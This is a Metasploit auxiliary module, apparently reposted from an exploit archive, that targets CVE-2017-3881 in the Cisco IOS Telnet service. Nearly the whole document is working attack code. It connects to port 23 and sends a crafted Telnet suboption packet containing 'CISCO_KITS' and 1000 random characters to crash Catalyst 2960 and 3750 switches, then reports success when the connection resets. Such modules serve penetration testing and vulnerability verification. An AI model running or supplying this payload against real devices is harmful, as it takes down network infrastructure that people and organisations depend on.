Cisco IOS Telnet Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cisco IOS Telnet Denial of Service',  
'Description' => %q{  
This module triggers a Denial of Service condition in the Cisco IOS  
telnet service affecting multiple Cisco switches. Tested against Cisco  
Catalyst 2960 and 3750.  
},  
'Author' => [ 'Artem Kondratenko' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['BID', '96960'],  
['CVE', '2017-3881'],  
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp'],  
['URL', 'https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution']  
],  
'DisclosureDate' => '2017-03-17'))  
  
register_options([ Opt::RPORT(23) ])  
end  
  
def run  
begin  
connect  
print_status "Connected to telnet service"  
packet = sock.read(200)  
if packet.nil?  
print_error "Failed to get initial packet from telnet service."  
else  
print_status "Got initial packet from telnet service: " + packet.inspect  
end  
print_status "Sending Telnet DoS packet"  
sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + Rex::Text.rand_text_alpha(1000) + ":1:\xff\xf0")  
disconnect  
rescue ::Rex::ConnectionRefused  
print_status "Unable to connect to #{rhost}:#{rport}."  
rescue ::Errno::ECONNRESET  
print_good "DoS packet successful. #{rhost} not responding."  
end  
end  
end  
`